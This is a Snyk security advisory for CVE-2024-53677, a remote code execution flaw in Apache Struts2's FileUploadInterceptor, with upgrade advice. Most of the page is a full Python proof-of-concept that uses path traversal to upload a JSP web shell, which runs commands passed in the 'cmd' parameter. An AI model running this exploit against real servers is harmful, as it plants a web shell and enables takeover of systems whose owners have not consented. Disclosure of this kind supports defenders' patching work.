Remote Code Execution (RCE) Affecting org.apache.struts:struts2-core package, versions [,7.0.0)


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
89.83% (100th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Remote Code Execution (RCE) vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JAVA-ORGAPACHESTRUTS-8496612
  • published12 Dec 2024
  • disclosed11 Dec 2024
  • creditShinsaku Nomura

Introduced: 11 Dec 2024

CVE-2024-53677  (opens in a new tab)
CWE-94  (opens in a new tab)

How to fix?

Upgrade org.apache.struts:struts2-core to version 7.0.0 or higher.

Overview

org.apache.struts:struts2-core is a popular open-source framework for developing web applications in the Java programming language.

Affected versions of this package are vulnerable to Remote Code Execution (RCE) via manipulation of file upload parameters that enable path traversal. When using FileUploadInterceptor, uploading of a malicious file is possible, which may then be executed on the server.

Notes:

This is only exploitable if the application uses FileUploadInterceptor;

Version 6.4.0 deprecates FileUploadInterceptor, but to fix the vulnerability its use must be replaced by an instance of Action File Upload and the corresponding interceptor. FileUploadInterceptor has been removed in 7.0.0.

PoC

import requests
import argparse
from urllib.parse import urljoin
from requests_toolbelt.multipart.encoder import MultipartEncoder
import random
import string


def generate_random_filename(extension=".jsp", length=8):
    """Generate a random filename."""
    return ''.join(random.choices(string.ascii_letters + string.digits, k=length)) + extension


def create_payload():
    """Generate a simple JSP payload for testing RCE."""
    return """<%@ page import="java.io.*" %>
<%
    String cmd = request.getParameter("cmd");
    if (cmd != null) {
        Process p = Runtime.getRuntime().exec(cmd);
        BufferedReader in = new BufferedReader(new InputStreamReader(p.getInputStream()));
        String line;
        while ((line = in.readLine()) != null) {
            out.println(line);
        }
    }
%>"""


def upload_multiple_files(target_url, upload_endpoint, payload, paths, filenames):
    """
    Upload multiple payload files using parameter overwrite and path traversal.
    """
    upload_url = urljoin(target_url, upload_endpoint)
    print(f"[INFO] Target upload endpoint: {upload_url}")

    headers = {"User-Agent": "Mozilla/5.0"}
    boundary = '----WebKitFormBoundary' + ''.join(random.choices(string.ascii_letters + string.digits, k=16))

    for path in paths:
        files_payload = {}
        print(f"\n[INFO] Testing path traversal with base path: {path}")
        for index, filename in enumerate(filenames):
            modified_filename = f"{path}/{filename}"
            key_file = f"upload[{index}]"
            key_name = f"uploadFileName[{index}]"

            files_payload[key_file] = (filename, payload, "application/octet-stream")
            files_payload[key_name] = modified_filename

            print(f"[INFO] File {index + 1}: {modified_filename}")

        m = MultipartEncoder(fields=files_payload, boundary=boundary)
        headers["Content-Type"] = m.content_type

        try:
            response = requests.post(upload_url, headers=headers, data=m, timeout=10)
            if response.status_code == 200:
                print("[SUCCESS] Payload uploaded. Verifying...")
                for filename in filenames:
                    verify_uploaded_file(target_url, f"{path}/{filename}")
            else:
                print(f"[ERROR] Upload failed. HTTP {response.status_code}")
        except requests.RequestException as e:
            print(f"[ERROR] Request failed: {e}")


def verify_uploaded_file(target_url, file_path):
    """Verify if the uploaded payload file is accessible and can execute commands."""
    file_url = urljoin(target_url, file_path)
    print(f"[INFO] Verifying uploaded file: {file_url}")
    try:
        response = requests.get(file_url, timeout=10)
        if response.status_code == 200:
            print(f"[ALERT] File uploaded and accessible: {file_url}?cmd=whoami")
        else:
            print(f"[INFO] File not accessible. HTTP Status: {response.status_code}")
    except requests.RequestException as e:
        print(f"[ERROR] Verification failed: {e}")


def main():
    parser = argparse.ArgumentParser(description="S2-067 Exploit - Multi-file Upload Support")
    parser.add_argument("-u", "--url", required=True, help="Target base URL (e.g., http://example.com)")
    parser.add_argument("--upload_endpoint", required=True, help="Path to upload endpoint (e.g., /uploads.action)")
    parser.add_argument("--paths", nargs="+", default=["../../../../../webapps/ROOT", "/tmp"],
                        help="Paths for path traversal testing")
    parser.add_argument("--filenames", nargs="+",
                        help="Custom filenames for payloads",
                        default=[generate_random_filename() for _ in range(3)])
    parser.add_argument("--payload", help="Custom JSP payload content", default=create_payload())
    args = parser.parse_args()

    print("[INFO] Starting S2-067 Multi-file Upload Exploit...")
    upload_multiple_files(args.url.rstrip("/"), args.upload_endpoint, args.payload, args.paths, args.filenames)
    print("\n[INFO] Exploit process completed.")


if __name__ == "__main__":
    main()

CVSS Base Scores

version 4.0
version 3.1